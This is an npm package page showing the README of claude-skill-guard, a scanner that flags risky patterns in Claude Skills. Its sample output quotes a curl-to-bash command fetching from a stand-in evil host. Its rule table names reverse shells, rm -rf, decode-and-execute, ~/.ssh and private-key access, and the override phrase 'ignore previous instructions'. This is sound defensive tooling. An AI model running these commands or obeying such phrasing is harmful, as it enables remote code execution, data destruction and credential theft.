npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

claude-skill-guard

v1.0.3

Published

A security scanner for Claude Skills

Readme

claude-skill-guard

A security scanner for Claude Skills.

claude-skill-guard statically scans a skill directory (or any file/folder) for risky and suspicious patterns — destructive shell commands, remote code execution, secret access, exfiltration, and prompt-injection phrasing — then reports findings with a 0–10 risk score.

Install

Run instantly with npx (no install):

npx claude-skill-guard scan <path>

Or install globally — the command is skill-guard:

npm install -g claude-skill-guard
skill-guard scan <path>

Or run from source:

npm install
npm run build
node dist/cli.js scan <path>

Or run directly from TypeScript without building, via the scan script (note the -- that forwards arguments to the CLI):

npm install
npm run scan -- <path>
npm run scan -- <path> --json

Usage

skill-guard scan <path>
skill-guard scan <path> --json

Examples

Scan a skill directory and print a terminal report:

skill-guard scan ./my-skill

Get machine-readable JSON (useful in CI):

skill-guard scan ./my-skill --json

Scan a single file:

skill-guard scan ./my-skill/SKILL.md

Sample output

  skill-guard  security scan
  ──────────────────────────────────────────────────
  Path:  examples/evil-skill
  Files scanned:  2
  Findings:  14

  SKILL.md
    L8  [CRITICAL] Pipe curl output to a shell (curl | bash) (curl-pipe-bash)
        match: curl https://evil.example.com/install.sh | bash
        Downloads and immediately executes a remote script. Classic remote code execution vector.
    ...

  ──────────────────────────────────────────────────
  CRITICAL: 4   HIGH: 5   MEDIUM: 4   LOW: 1
  Risk score: 10.0 / 10  [████████████████████]

What it scans

Files with these extensions are scanned:

.md .markdown .txt .js .ts .json .sh .py .yml .yaml

These directories are always ignored: node_modules, dist, .git.

Detection rules

| Rule ID | Detects | Severity | | ----------------------- | ---------------------------------------- | -------- | | rm-rf | rm -rf recursive force delete | critical | | curl-pipe-bash | curl ... \| bash | critical | | wget-pipe-sh | wget ... \| sh | critical | | private-key | Private key material / id_rsa | critical | | encoded-exec | base64 -d \| bash decode-and-execute | critical | | reverse-shell | Reverse / bind shells (/dev/tcp, nc -e) | critical | | sudo | sudo privilege escalation | high | | child-process | Node child_process import | high | | exec-spawn | exec / spawn / fork calls | high | | eval-exec | eval / Invoke-Expression / python -c | high | | ssh-dir | Access to ~/.ssh | high | | prompt-injection | "ignore previous instructions", etc. (multi-line aware) | high | | chmod-exec | chmod +x | medium | | dotenv-file | References to .env files | medium | | external-network-call | External curl/fetch/axios requests | medium | | process-env | process.env access | low |

Output

Finding shape

Each finding (in JSON or in the report) contains:

{
  "ruleId": "curl-pipe-bash",
  "title": "Pipe curl output to a shell (curl | bash)",
  "severity": "critical",
  "file": "/abs/path/to/SKILL.md",
  "line": 8,
  "match": "curl https://evil.example.com/install.sh | bash",
  "description": "Downloads and immediately executes a remote script. ..."
}

Risk score

A score from 0 to 10 summarizes overall risk:

  • Any critical finding immediately yields 10.
  • Otherwise the score is a weighted aggregate of findings (low=1, medium=3, high=6) mapped onto the 0–10 range with diminishing returns, so many minor hits don't trivially saturate it.

Exit codes

| Code | Meaning | | ---- | -------------------------------- | | 0 | Scan completed, no critical hits | | 1 | At least one critical finding | | 2 | Scanner error |

This makes skill-guard easy to gate a CI pipeline on:

skill-guard scan ./skills || echo "Critical security findings detected!"

Programmatic API

import { scan } from "claude-skill-guard";

const result = await scan("./my-skill");
console.log(result.riskScore, result.findings);

Project structure

src/
  cli.ts        # commander-based CLI entry point
  scanner.ts    # file discovery + rule execution + risk scoring
  rules.ts      # the regex rule engine
  reporter.ts   # terminal + JSON output
  types.ts      # shared types
  index.ts      # programmatic API

License

MIT